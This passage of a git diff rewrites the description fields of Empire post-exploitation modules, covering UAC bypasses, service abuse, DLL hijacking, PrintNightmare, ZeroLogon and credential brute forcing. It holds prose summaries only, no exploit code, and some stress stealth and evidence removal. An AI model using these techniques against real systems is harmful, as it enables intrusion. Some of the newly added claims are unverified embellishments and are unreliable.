link: https://twitter.com/424f424f -description: Bypass UAC module based on the script released by Matt Nelson @enigma0x3 - at Derbycon 2017 +description: | + A privilege escalation module that bypasses User Account Control (UAC) + using Windows token manipulation techniques. This module is based on + research presented by Matt Nelson (@enigma0x3) at Derbycon 2017 and + implements token duplication to achieve elevated privileges. + + The technique exploits Windows security token handling by duplicating + existing elevated tokens from running processes and using them to + create new processes with administrative privileges. This approach + bypasses UAC by leveraging tokens that already have the necessary + privileges, rather than attempting to elevate through traditional + means. + + This method is particularly effective because it doesn't require + registry modifications or file system changes, making it completely + fileless and difficult to detect. The technique works by identifying + processes with elevated tokens and duplicating their security context + to execute arbitrary code with administrative privileges. software: '' tactics: [TA0004] techniques: [T1548.002] diff --git a/empire/server/modules/powershell/privesc/bypassuac_wscript.yaml b/empire/server/modules/powershell/privesc/bypassuac_wscript.yaml index ffd38f42c..6da9ebeeb 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_wscript.yaml +++ b/empire/server/modules/powershell/privesc/bypassuac_wscript.yaml @@ -1,3 +1,4 @@ +# Needs Revisions name: Invoke-WScriptBypassUAC authors: - name: '' @@ -9,9 +10,23 @@ authors: - name: Vozzie handle: '' link: '' -description: Drops wscript.exe and a custom manifest into C:\Windows\ and then proceeds - to execute VBScript using the wscript executablewith the new manifest. The VBScript - executed by C:\Windows\wscript.exe will run elevated. +description: | + A privilege escalation module that bypasses User Account Control (UAC) + by exploiting a vulnerability in the Windows Script Host (WSH). This + technique drops a custom wscript.exe executable and manifest into + the C:\Windows\ directory, then executes VBScript using the modified + wscript executable to achieve elevated privileges. + + The module creates a custom manifest that modifies the execution + context of wscript.exe, allowing VBScript code to run with elevated + privileges without triggering UAC prompts. This technique exploits + the fact that Windows Script Host components in the Windows directory + are trusted by the system and can execute with higher privileges. + + This approach is based on research by @enigma0x3 and @harmyj0y, and + leverages the UAC bypass vulnerability discovered in the Windows + Script Host. While effective, this technique requires dropping files + to disk, which may be detected by security monitoring tools. software: '' tactics: [TA0004] techniques: [T1548.002] diff --git a/empire/server/modules/powershell/privesc/getsystem.yaml b/empire/server/modules/powershell/privesc/getsystem.yaml index d9febbbb8..fe2b9287d 100644 --- a/empire/server/modules/powershell/privesc/getsystem.yaml +++ b/empire/server/modules/powershell/privesc/getsystem.yaml @@ -6,7 +6,14 @@ authors: - name: Matt Graeber handle: '@mattifestation' link: https://twitter.com/mattifestation -description: Gets SYSTEM privileges with one of two methods. +description: | + Performs privilege escalation to obtain SYSTEM privileges using one of two techniques: + NamedPipe impersonation or Token manipulation. The NamedPipe method leverages service + named pipe impersonation to elevate privileges by connecting to a service's named pipe + and impersonating the service account. The Token method uses Windows token manipulation + to adjust process privileges and gain elevated access. Both techniques allow execution + of code with SYSTEM-level privileges, enabling access to protected system resources, + registry keys, and other administrative functions. software: S0194 tactics: [TA0004] techniques: [T1134.001] diff --git a/empire/server/modules/powershell/privesc/gpp.yaml b/empire/server/modules/powershell/privesc/gpp.yaml index 398a1a62d..7f2be28d1 100644 --- a/empire/server/modules/powershell/privesc/gpp.yaml +++ b/empire/server/modules/powershell/privesc/gpp.yaml @@ -3,8 +3,13 @@ authors: - name: '' handle: '@obscuresec' link: '' -description: Retrieves the plaintext password and other information for accounts - pushed through Group Policy Preferences. +description: | + Extracts plaintext passwords and account information from Group Policy Preferences + (GPP) to obtain credentials for privilege escalation. GPP allows administrators + to configure user accounts and passwords across domain systems, but stores these + credentials in an encrypted format that can be easily decrypted. The module + searches for GPP files and decrypts stored credentials, which often include + administrative passwords or service account credentials. software: '' tactics: [TA0006] techniques: [T1552.006] diff --git a/empire/server/modules/powershell/privesc/mcafee_sitelist.yaml b/empire/server/modules/powershell/privesc/mcafee_sitelist.yaml index 296f2e117..4cebaf3ed 100644 --- a/empire/server/modules/powershell/privesc/mcafee_sitelist.yaml +++ b/empire/server/modules/powershell/privesc/mcafee_sitelist.yaml @@ -6,7 +6,12 @@ authors: - name: '' handle: '@funoverip' link: '' -description: Retrieves the plaintext passwords for found McAfee's SiteList.xml files. +description: | + Extracts plaintext passwords from McAfee SiteList.xml configuration files to + obtain credentials for further privilege escalation. McAfee SiteList.xml files + contain encrypted passwords that can be decrypted using known algorithms and + keys. The module searches for these files and decrypts stored credentials, + which often include administrative passwords or service account credentials. software: '' tactics: [TA0006] techniques: [T1552.001] diff --git a/empire/server/modules/powershell/privesc/ms16-032.yaml b/empire/server/modules/powershell/privesc/ms16-032.yaml index 5a8c0c5a6..de2a8a28d 100644 --- a/empire/server/modules/powershell/privesc/ms16-032.yaml +++ b/empire/server/modules/powershell/privesc/ms16-032.yaml @@ -6,8 +6,13 @@ authors: - name: '' handle: '@leoloobeek' link: '' -description: "Spawns a new Listener as SYSTEM by leveraging the MS16-032 local exploit. - Note: ~1/6 times the exploit won't work, may need to retry." +description: | + Exploits MS16-032 vulnerability to spawn a new listener with SYSTEM privileges. + The vulnerability exploits a race condition in Windows secondary logon service + to elevate privileges from a standard user to SYSTEM. Leverages thread handle + manipulation to bypass security controls and execute arbitrary code with the + highest privileges. Note that the exploit has a success rate of approximately + 5/6 attempts and may require retry if unsuccessful. software: '' tactics: [TA0004] techniques: [T1068] diff --git a/empire/server/modules/powershell/privesc/ms16-135.yaml b/empire/server/modules/powershell/privesc/ms16-135.yaml index ab49f76c3..cad481cd8 100644 --- a/empire/server/modules/powershell/privesc/ms16-135.yaml +++ b/empire/server/modules/powershell/privesc/ms16-135.yaml @@ -1,4 +1,4 @@ -name: Invoke-MS16135 +name: Invoke-MS16-135 authors: - name: '' handle: '@TinySecEx' @@ -9,10 +9,13 @@ authors: - name: ThePirateWhoSmellsOfSunflowers (github) handle: '' link: '' -description: "Spawns a new Listener as SYSTEM by leveraging the MS16-135 local exploit. - This exploit is for x64 only and only works on unlocked session. Note: the exploit - performs fast windows switching, victim's desktop may flash. A named pipe is also - created. Thus, opsec is not guaranteed" +description: | + Exploits MS16-135 vulnerability to spawn a new listener with SYSTEM privileges. + The vulnerability exploits a kernel-level race condition in Windows to elevate + privileges from a standard user to SYSTEM. Limited to x64 systems and requires + an unlocked user session. The exploit performs rapid window switching which may + cause visible desktop flashing and creates named pipes, making it less stealthy + than other privilege escalation methods. software: '' tactics: [TA0004] techniques: [T1068] @@ -23,8 +26,6 @@ opsec_safe: false language: powershell min_language_version: '2' comments: - - Credit to TinySec (@TinySecEx) for the initial PoC and - - to Ruben Boonen (@FuzzySec) for PowerShell PoC - https://github.com/tinysec/public/tree/master/CVE-2016-7255 - https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135 - https://security.googleblog.com/2016/10/disclosing-vulnerabilities-to-protect.html diff --git a/empire/server/modules/powershell/privesc/powerup/allchecks.yaml b/empire/server/modules/powershell/privesc/powerup/allchecks.yaml index a4b301e02..d74e506f4 100644 --- a/empire/server/modules/powershell/privesc/powerup/allchecks.yaml +++ b/empire/server/modules/powershell/privesc/powerup/allchecks.yaml @@ -1,9 +1,27 @@ +# Needs Revisions name: Invoke-AllChecks authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Runs all current checks for Windows privesc vectors. +description: | + A comprehensive privilege escalation enumeration module that runs all + available Windows privilege escalation checks from the PowerUp toolkit. + This module performs a thorough assessment of the target system to + identify potential privilege escalation vectors and misconfigurations. + + The module scans for various privilege escalation opportunities including + service misconfigurations, unquoted service paths, weak service permissions, + registry autorun entries, scheduled tasks, and other common Windows + privilege escalation techniques. It examines system configurations, + file permissions, registry settings, and service configurations to + identify potential paths to elevated privileges. + + This comprehensive approach provides a complete picture of the target + system's privilege escalation landscape, making it an essential tool + for security assessments and penetration testing. The module is based + on the PowerUp toolkit developed by @harmj0y and provides detailed + output that can be used to plan targeted privilege escalation attacks. software: S0194 tactics: [TA0007] techniques: [T1068, T1082] diff --git a/empire/server/modules/powershell/privesc/powerup/find_dllhijack.yaml b/empire/server/modules/powershell/privesc/powerup/find_dllhijack.yaml index a7001613f..30e79e3bd 100644 --- a/empire/server/modules/powershell/privesc/powerup/find_dllhijack.yaml +++ b/empire/server/modules/powershell/privesc/powerup/find_dllhijack.yaml @@ -1,9 +1,28 @@ +# Needs Revisions name: Find-ProcessDLLHijack authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Finds generic .DLL hijacking opportunities. +description: | + A privilege escalation enumeration module that identifies potential + DLL hijacking opportunities on Windows systems. This module scans + running processes and their DLL dependencies to find situations + where malicious DLLs could be placed to achieve privilege escalation. + + The module examines the DLL search order and file permissions to + identify processes that load DLLs from writable directories or + locations where an attacker could place malicious DLLs. It looks + for common DLL hijacking scenarios such as missing DLLs in expected + locations, writable directories in the DLL search path, and weak + file permissions that allow DLL replacement. + + This technique is particularly effective for privilege escalation + because it can allow an attacker to execute code in the context + of higher-privileged processes. The module provides detailed + information about each potential hijacking opportunity, including + the target process, missing DLL, and the location where a malicious + DLL could be placed. software: S0194 tactics: [TA0007] techniques: [T1087.001, T1574.001, T1574.007, T1574.008, T1574.009, T1057, T1012, diff --git a/empire/server/modules/powershell/privesc/powerup/service_exe_restore.yaml b/empire/server/modules/powershell/privesc/powerup/service_exe_restore.yaml index c37308ce0..43ae2cff8 100644 --- a/empire/server/modules/powershell/privesc/powerup/service_exe_restore.yaml +++ b/empire/server/modules/powershell/privesc/powerup/service_exe_restore.yaml @@ -1,9 +1,28 @@ +# Needs Revisions name: Restore-ServiceBinary authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Restore a backed up service binary. +description: | + A privilege escalation module that restores previously backed up + service binaries to their original locations. This module is part + of the cleanup process after using service-based privilege escalation + techniques to restore system integrity and remove evidence of + compromise. + + The module takes a service name and optional backup path to restore + the original service executable that was previously replaced or + modified during privilege escalation operations. This is essential + for maintaining operational security and ensuring that the target + system returns to its original state after successful privilege + escalation. + + This restoration process is critical for maintaining stealth and + avoiding detection by system administrators or security monitoring + tools. By restoring the original service binaries, the module helps + ensure that the privilege escalation activity leaves minimal traces + and doesn't disrupt normal system functionality. software: S0194 tactics: [TA0005] techniques: [T1070.004, T1070.009] diff --git a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.yaml b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.yaml index 0d21a00ed..fcc80fb8f 100644 --- a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.yaml +++ b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.yaml @@ -1,10 +1,27 @@ +# Needs Revisions name: Install-ServiceBinary authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Backs up a service's binary and replaces the original with a binary - that launches a stager.bat. +description: | + A privilege escalation module that performs service binary replacement + to achieve elevated privileges. This technique backs up the original + service executable and replaces it with a malicious binary that + launches a stager to establish a privileged connection. + + The module identifies vulnerable services and creates a backup of + the original service binary before replacing it with a custom + executable. The replacement binary is designed to launch a stager + that connects back to the Empire server with elevated privileges, + while maintaining the appearance of normal service functionality. + + This technique is particularly effective because services often + run with elevated privileges, providing an immediate path to + administrative access. The module includes options for self-deletion + of the launcher file and obfuscation to maintain operational + security. This approach is based on the PowerUp toolkit and + represents a sophisticated method of service-based privilege escalation. software: S0194 tactics: [TA0003, TA0004] techniques: [T1543.010, T1068] diff --git a/empire/server/modules/powershell/privesc/powerup/service_exe_useradd.yaml b/empire/server/modules/powershell/privesc/powerup/service_exe_useradd.yaml index 894837af8..16590c4aa 100644 --- a/empire/server/modules/powershell/privesc/powerup/service_exe_useradd.yaml +++ b/empire/server/modules/powershell/privesc/powerup/service_exe_useradd.yaml @@ -1,10 +1,29 @@ +# Needs Revisions name: Install-ServiceBinary authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Backs up a service's binary and replaces the original with a binary - that creates/adds a local administrator. +description: | + A privilege escalation module that performs service binary replacement + to create a local administrator account. This technique backs up the + original service executable and replaces it with a malicious binary + that creates or modifies user accounts with elevated privileges. + + The module identifies vulnerable services and creates a backup of + the original service binary before replacing it with a custom + executable. The replacement binary is designed to create a new + local administrator account or add an existing user to the + Administrators group, providing persistent access with elevated + privileges. + + This technique is particularly effective because services often + run with elevated privileges, allowing the creation of administrative + accounts that would normally require administrative rights. The + module provides options to specify the username, password, and + target local group, making it flexible for different operational + requirements. This approach is based on the PowerUp toolkit and + represents a sophisticated method of service-based privilege escalation. software: S0194 tactics: [TA0003, TA0004] techniques: [T1543.010, T1136.001, T1068] diff --git a/empire/server/modules/powershell/privesc/powerup/service_stager.yaml b/empire/server/modules/powershell/privesc/powerup/service_stager.yaml index 6713b1076..191713d90 100644 --- a/empire/server/modules/powershell/privesc/powerup/service_stager.yaml +++ b/empire/server/modules/powershell/privesc/powerup/service_stager.yaml @@ -1,9 +1,28 @@ +# Needs Revisions name: Invoke-ServiceAbuse authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Modifies a target service to execute an Empire stager. +description: | + A privilege escalation module that abuses Windows services to execute + an Empire stager with elevated privileges. This technique modifies + the configuration of a target service to launch a malicious payload + when the service starts or restarts. + + The module identifies vulnerable services and modifies their + configuration to include the execution of an Empire stager. This + can be achieved by modifying the service's binary path, command + line parameters, or other configuration options that control how + the service executes. + + This technique is particularly effective because services often + run with elevated privileges, providing an immediate path to + administrative access. The module can trigger the service to + restart immediately or wait for the next system restart, depending + on operational requirements. This approach is based on the PowerUp + toolkit and represents a sophisticated method of service-based + privilege escalation that can provide persistent access. software: S0194 tactics: [TA0004] techniques: [T1543.003, T1068] diff --git a/empire/server/modules/powershell/privesc/powerup/service_useradd.yaml b/empire/server/modules/powershell/privesc/powerup/service_useradd.yaml index 9f4d20812..af1347796 100644 --- a/empire/server/modules/powershell/privesc/powerup/service_useradd.yaml +++ b/empire/server/modules/powershell/privesc/powerup/service_useradd.yaml @@ -1,10 +1,28 @@ +# Needs Revisions name: Invoke-ServiceAbuse authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Modifies a target service to create a local user and add it to the local - administrators. +description: | + A privilege escalation module that abuses Windows services to create + a local administrator account. This technique modifies the configuration + of a target service to execute commands that create a new user and + add them to the local Administrators group. + + The module identifies vulnerable services and modifies their + configuration to include user creation commands. When the service + starts or restarts, it executes these commands with elevated + privileges, creating a new local administrator account that can + be used for persistent access to the system. + + This technique is particularly effective because services often + run with elevated privileges, allowing the creation of administrative + accounts that would normally require administrative rights. The + module provides options to specify the username, password, and + target local group, making it flexible for different operational + requirements. This approach is based on the PowerUp toolkit and + represents a sophisticated method of service-based privilege escalation. software: S0194 tactics: [TA0004] techniques: [T1543.003, T1136.001, T1068] diff --git a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.yaml b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.yaml index e290cb4af..1fdbe31fa 100644 --- a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.yaml +++ b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.yaml @@ -1,3 +1,4 @@ +# Needs Revisions name: Write-HijackDll authors: - name: leechristensen (@tifkin_) @@ -6,9 +7,25 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Writes out a hijackable .dll to the specified path along with a stager.bat - that's called by the .dll. wlbsctrl.dll works well for Windows 7. The machine will - need to be restarted for the privesc to work. +description: | + A privilege escalation module that creates a malicious DLL for + DLL hijacking attacks. This technique writes a custom DLL to a + specified path along with a stager batch file that is called by + the DLL when it is loaded by a target process. + + The module creates a DLL that, when loaded by a vulnerable process, + executes the stager batch file to establish a connection with + elevated privileges. This technique is particularly effective + against processes that load DLLs from writable directories or + have weak file permissions that allow DLL replacement. + + The module is designed to work with specific DLLs like wlbsctrl.dll + on Windows 7 systems, where the target process expects to find + the DLL in a specific location. When the system is restarted or + the target process is launched, it loads the malicious DLL instead + of the legitimate one, executing the stager with the process's + elevated privileges. This approach is based on the PowerUp toolkit + and represents a sophisticated method of DLL-based privilege escalation. software: S0194 tactics: [TA0004] techniques: [T1574.001, T1574.007, T1574.008, T1574.009, T1068] diff --git a/empire/server/modules/powershell/privesc/printdemon.yaml b/empire/server/modules/powershell/privesc/printdemon.yaml index 10d8e8ae1..2c0380147 100644 --- a/empire/server/modules/powershell/privesc/printdemon.yaml +++ b/empire/server/modules/powershell/privesc/printdemon.yaml @@ -1,4 +1,4 @@ -name: Get Group Policy Preferences +name: Invoke-PrintDemon authors: - name: Jake Krasnov handle: '@hubbl3' @@ -6,12 +6,14 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: This is an Empire launcher PoC using PrintDemon, the CVE-2020-1048 is - a privilege escalation vulnerability that allows a persistent threat through Windows - Print Spooler. The vulnerability allows an unprivileged user to gain system-level - privileges. Based on @ionescu007 PoC. The module prints a dll named ualapi.dll - which is loaded to System32. The module then places a launcher in the registry - which executes code as system on restart. +description: | + Exploits CVE-2020-1048 (PrintDemon) vulnerability in Windows Print Spooler to + achieve privilege escalation and persistence. The vulnerability allows unprivileged + users to gain SYSTEM-level privileges by exploiting the print spooler service. + Creates a malicious DLL (ualapi.dll) that gets loaded into System32 and establishes + persistence through registry modifications that execute code as SYSTEM on system + restart. The technique leverages Windows print spooler architecture to achieve + both privilege escalation and persistent access to the target system. software: '' tactics: [TA0004] techniques: [T1068] diff --git a/empire/server/modules/powershell/privesc/printnightmare.yaml b/empire/server/modules/powershell/privesc/printnightmare.yaml index 1ea59dc7c..33c07cfac 100644 --- a/empire/server/modules/powershell/privesc/printnightmare.yaml +++ b/empire/server/modules/powershell/privesc/printnightmare.yaml @@ -1,11 +1,16 @@ -name: PrintNightmare +name: Invoke-Printnightmare authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Exploits CVE-2021-1675 (PrintNightmare) locally to add a new local administrator - user with a known password. Optionally, this can be used to execute your own custom - DLL to execute any other code as NT AUTHORITY\SYSTEM. +description: | + Exploits CVE-2021-1675 (PrintNightmare) vulnerability in Windows Print Spooler + to achieve privilege escalation and create administrative accounts. The vulnerability + allows unprivileged users to add malicious printer drivers that execute arbitrary + code with SYSTEM privileges. Can create new local administrator accounts with + known credentials or execute custom DLL payloads for more sophisticated attacks. + The technique exploits the Windows print spooler service to bypass security + controls and gain elevated privileges on the target system. software: '' tactics: [TA0004] techniques: [T1068] diff --git a/empire/server/modules/powershell/privesc/privesccheck.yaml b/empire/server/modules/powershell/privesc/privesccheck.yaml index 273f29a3d..e0dbba356 100644 --- a/empire/server/modules/powershell/privesc/privesccheck.yaml +++ b/empire/server/modules/powershell/privesc/privesccheck.yaml @@ -1,9 +1,18 @@ -name: PrivescCheck +name: Invoke-PrivescCheck authors: - name: '' handle: '@itm4n' link: '' -description: Find Windows local privilege escalation vulnerabilities. +description: | + Performs comprehensive Windows privilege escalation vulnerability assessment by + scanning for misconfigurations, weak permissions, and security weaknesses. + Includes checks for service misconfigurations, registry vulnerabilities, file + system permissions, scheduled tasks, and other potential privilege escalation + vectors. Provides detailed analysis of identified vulnerabilities with risk + assessments and exploitation guidance. Supports multiple output formats for + reporting and can perform extended checks for deeper analysis. Essential for + systematic privilege escalation assessment and identifying the most effective + attack vectors in Windows environments. software: '' tactics: [TA0007] techniques: [T1012, T1518, T1082] diff --git a/empire/server/modules/powershell/privesc/sherlock.yaml b/empire/server/modules/powershell/privesc/sherlock.yaml index c10ef0dd2..c6be32d39 100644 --- a/empire/server/modules/powershell/privesc/sherlock.yaml +++ b/empire/server/modules/powershell/privesc/sherlock.yaml @@ -3,7 +3,14 @@ authors: - name: 'Daniel Duggan' handle: '@_RastaMouse' link: 'https://twitter.com/_rastamouse' -description: Find Windows local privilege escalation vulnerabilities. +description: | + Performs automated vulnerability scanning to identify Windows local privilege escalation + opportunities. Searches for known security vulnerabilities, misconfigurations, and + weak security settings that could lead to privilege escalation. Includes checks for + missing patches, vulnerable services, weak permissions, and other security weaknesses + that have been documented in public exploits. Provides detailed information about + identified vulnerabilities including CVE references, affected systems, and potential + exploitation methods. software: '' tactics: [TA0007] techniques: [T1012, T1518, T11082] diff --git a/empire/server/modules/powershell/privesc/sweetpotato.yaml b/empire/server/modules/powershell/privesc/sweetpotato.yaml index 33804fd0f..e7f4384ef 100644 --- a/empire/server/modules/powershell/privesc/sweetpotato.yaml +++ b/empire/server/modules/powershell/privesc/sweetpotato.yaml @@ -1,4 +1,4 @@ -name: Sweet Potato Local Service to SYSTEM Privilege Escalation +name: Sweet Potato authors: - name: '' handle: '@_EthicalChaos_ (@CCob)' @@ -6,9 +6,14 @@ authors: - name: '' handle: '@kevin' link: '' -description: Abuses default privileges given to Local Service accounts to spawn a - process as SYSTEM. Tested on Server 2019 and Windows 10 1909 (Build 18363.1316). - Run a Powershell stager or your own command. +description: | + Exploits default privileges granted to Local Service accounts to spawn processes + with SYSTEM privileges. Leverages Windows privilege escalation techniques including + DCOM, WinRM, and PrintSpoofer to abuse service account permissions and gain elevated + access. The technique exploits the fact that Local Service accounts have certain + default privileges that can be abused to impersonate SYSTEM and execute arbitrary + code with the highest privileges. Supports multiple exploitation methods and can + spawn custom processes or PowerShell stagers. software: '' tactics: [TA0004] techniques: [T1068, T1187] diff --git a/empire/server/modules/powershell/privesc/tater.yaml b/empire/server/modules/powershell/privesc/tater.yaml index 3446b5465..4d37533c4 100644 --- a/empire/server/modules/powershell/privesc/tater.yaml +++ b/empire/server/modules/powershell/privesc/tater.yaml @@ -3,8 +3,14 @@ authors: - name: Kevin Robertson handle: '' link: '' -description: Tater is a PowerShell implementation of the Hot Potato Windows Privilege - Escalation exploit from @breenmachine and @foxglovesec. +description: | + Implements the Hot Potato Windows privilege escalation technique using NBNS spoofing + and HTTP to SMB relay attacks. Exploits Windows authentication mechanisms by + spoofing NBNS responses to redirect authentication traffic and perform SMB relay + attacks. Uses various triggers including Windows Defender signature updates and + scheduled tasks to initiate the attack chain. The technique leverages Windows + authentication fallback mechanisms and can bypass certain security controls to + gain elevated privileges. software: '' tactics: [TA0004] techniques: [T1068, T1187] diff --git a/empire/server/modules/powershell/privesc/watson.yaml b/empire/server/modules/powershell/privesc/watson.yaml index c48ce5279..4c313e3d4 100644 --- a/empire/server/modules/powershell/privesc/watson.yaml +++ b/empire/server/modules/powershell/privesc/watson.yaml @@ -6,8 +6,13 @@ authors: - name: '' handle: '@S3cur3Th1sSh1t' link: https://twitter.com/ShitSecure -description: Watson is a .NET tool designed to enumerate missing KBs and suggest - exploits for Privilege Escalation vulnerabilities. +description: | + Performs automated enumeration of missing Windows security patches and suggests + corresponding privilege escalation exploits. Scans the system for unpatched + vulnerabilities by checking installed KB (Knowledge Base) updates and comparing + against known security patches. Provides detailed information about missing + patches including CVE references, affected components, and suggested exploitation + techniques. software: '' tactics: [TA0007] techniques: [T1012, T1518, T1082] diff --git a/empire/server/modules/powershell/privesc/winPEAS.yaml b/empire/server/modules/powershell/privesc/winPEAS.yaml index 336d2ec92..141584bb8 100644 --- a/empire/server/modules/powershell/privesc/winPEAS.yaml +++ b/empire/server/modules/powershell/privesc/winPEAS.yaml @@ -6,8 +6,13 @@ authors: - name: '' handle: '@S3cur3Th1sSh1t' link: https://twitter.com/ShitSecure -description: WinPEAS is a script that search for possible paths to escalate privileges - on Windows hosts. +description: | + Performs comprehensive privilege escalation reconnaissance by searching for potential + paths to escalate privileges on Windows hosts. Scans for misconfigured services, + weak file permissions, stored credentials, vulnerable applications, and other + security weaknesses that could lead to privilege escalation. Includes checks for + system information, user privileges, running processes, installed applications, + network configurations, and credential storage locations. software: '' tactics: [TA0007] techniques: [T1012, T1518, T1082] diff --git a/empire/server/modules/powershell/privesc/zerologon.yaml b/empire/server/modules/powershell/privesc/zerologon.yaml index c01a7780f..ccf57f46f 100644 --- a/empire/server/modules/powershell/privesc/zerologon.yaml +++ b/empire/server/modules/powershell/privesc/zerologon.yaml @@ -1,4 +1,4 @@ -name: Get Group Policy Preferences +name: ZeroLogon authors: - name: Jake Krasnov handle: '@hubbl3' @@ -6,10 +6,13 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: CVE-2020-1472 or ZeroLogon exploits a flaw in the Netlogon protocol - to allow anyone on the network to reset the domain administrators hash and elevate - their privileges. This will change the password of the domain controller account - and may break communication with other domain controllers. So, be careful! +description: | + Exploits CVE-2020-1472 (ZeroLogon) vulnerability in the Netlogon protocol to reset + domain controller passwords and gain domain administrative privileges. The vulnerability + allows attackers to set the domain controller's password to a known value, effectively + gaining control over the domain. This technique can compromise entire Active Directory + environments and should be used with extreme caution as it may disrupt domain controller + communication and affect network operations. software: '' tactics: [TA0004] techniques: [T1068] diff --git a/empire/server/modules/powershell/recon/fetch_brute_local.yaml b/empire/server/modules/powershell/recon/fetch_brute_local.yaml index 90306c07c..5900279f4 100644 --- a/empire/server/modules/powershell/recon/fetch_brute_local.yaml +++ b/empire/server/modules/powershell/recon/fetch_brute_local.yaml @@ -1,3 +1,4 @@ +# Needs Revisions name: Fetch local accounts on a member server and perform an online brute force attack authors: - name: Maarten Hartsuijker @@ -6,9 +7,26 @@ authors: - name: '' handle: '@classityinfosec' link: '' -description: This module will logon to a member server using the agents account or - a provided account, fetch the local accounts and perform a network based brute - force attack. +description: | + A reconnaissance module that performs local account enumeration and + network-based brute force attacks on Windows member servers. This + module leverages the agent's current credentials or provided + credentials to query local user accounts and then attempts to + authenticate against discovered accounts using a specified password list. + + The module first enumerates local user accounts on target servers + using Windows Management Instrumentation (WMI) or Active Directory + queries. It then performs online brute force attacks against each + discovered account using the provided password list. This technique + is particularly effective on older Windows Server versions (2003/2008) + where domain accounts may have broader enumeration permissions. + + This approach is inspired by the Xfocus X-Scan methodology and + provides a systematic way to identify weak local account credentials + across multiple servers. The module includes options for verbose + output to track failed login attempts and discovered users, making + it useful for security assessments and penetration testing scenarios + where credential harvesting is a priority. software: '' tactics: [TA0006, TA0007] techniques: [T1087.001, T1110.001] diff --git a/empire/server/modules/powershell/recon/find_fruit.yaml b/empire/server/modules/powershell/recon/find_fruit.yaml index e909d28d2..c1013eaaa 100644 --- a/empire/server/modules/powershell/recon/find_fruit.yaml +++ b/empire/server/modules/powershell/recon/find_fruit.yaml @@ -1,9 +1,29 @@ +# Needs Revisions name: Find-Fruit authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: Searches a network range for potentially vulnerable web services. +description: | + A reconnaissance module that performs network scanning to identify + potentially vulnerable web services across a specified network range. + This module conducts HTTP/HTTPS port scanning and path enumeration + to discover web applications and services that may be susceptible + to various web-based attacks. + + The module scans target hosts and ports to identify web services + and then performs path enumeration using a dictionary-based approach + to discover potentially interesting endpoints. It can identify web + applications, administrative interfaces, default installations, + and other web services that might be vulnerable to exploitation. + + This technique is inspired by mattifestation's Get-HttpStatus from + PowerSploit and provides a systematic approach to web service + discovery. The module includes options for SSL/TLS scanning, + customizable timeouts, threading controls, and output filtering + to focus on specific response codes or discovered services. This + makes it an effective tool for initial reconnaissance and + vulnerability assessment in web application security testing. software: '' tactics: [TA0007] techniques: [T1046] diff --git a/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.yaml b/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.yaml index 1ddbc952f..6aaeade12 100644 --- a/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.yaml +++ b/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.yaml @@ -6,8 +6,27 @@ authors: - name: '' handle: '@0xbadjuju' link: '' -description: Based on the instance name, test if SQL Server is configured with default - passwords. +description: | + A reconnaissance module that tests SQL Server instances for default + password configurations. This module leverages the SQL Server + instance name to determine potential default credentials and + attempts to authenticate using known default password combinations. + + The module can test individual SQL Server instances or perform + comprehensive checks across all discovered instances in a domain + environment. It uses the instance name to identify the likely + default username and then attempts authentication with common + default passwords associated with that instance type. + + This technique is based on research from PowerUpSQL and provides + a systematic approach to identifying SQL Server instances with + weak default configurations. The module is particularly effective + for discovering SQL Server instances that have not been properly + secured after installation, as many SQL Server deployments retain + default credentials that are well-documented and easily exploitable. + This makes it an essential tool for database security assessments + and penetration testing scenarios where SQL Server access is a + priority. software: '' tactics: [TA0007] techniques: [T1505] diff --git a/empire/server/modules/powershell/recon/http_login.yaml b/empire/server/modules/powershell/recon/http_login.yaml index 7292fa937..994f5b113 100644 --- a/empire/server/modules/powershell/recon/http_login.yaml +++ b/empire/server/modules/powershell/recon/http_login.yaml @@ -1,9 +1,31 @@ +# Needs Revisions name: HTTP-Login authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: Tests credentials against Basic Authentication. +description: | + A reconnaissance module that performs credential testing against + HTTP Basic Authentication endpoints. This module conducts brute + force attacks against web applications and services that use + Basic Authentication to identify valid username and password + combinations. + + The module can test individual credentials or perform dictionary-based + attacks against specified authentication endpoints. It supports both + HTTP and HTTPS protocols and can target specific directories or + paths that require authentication. The module includes threading + capabilities for efficient scanning across multiple targets and + provides detailed output of successful authentication attempts. + + This technique is particularly effective for discovering weak + credentials on web applications, administrative interfaces, and + other web services that use Basic Authentication. The module can + identify default credentials, weak passwords, and other + authentication vulnerabilities that could provide unauthorized + access to sensitive web resources. This makes it an essential + tool for web application security assessments and penetration + testing scenarios where credential harvesting is a priority. software: '' tactics: [TA0006, TA0007] techniques: [T1110.001, T1110.004] diff --git a/empire/server/modules/powershell/situational_awareness/host/antivirusproduct.yaml b/empire/server/modules/powershell/situational_awareness/host/antivirusproduct.yaml index 6534b8e76..d2aa582a2 100644 --- a/empire/server/modules/powershell/situational_awareness/host/antivirusproduct.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/antivirusproduct.yaml @@ -6,7 +6,12 @@ authors: - name: Jan Egil Ring 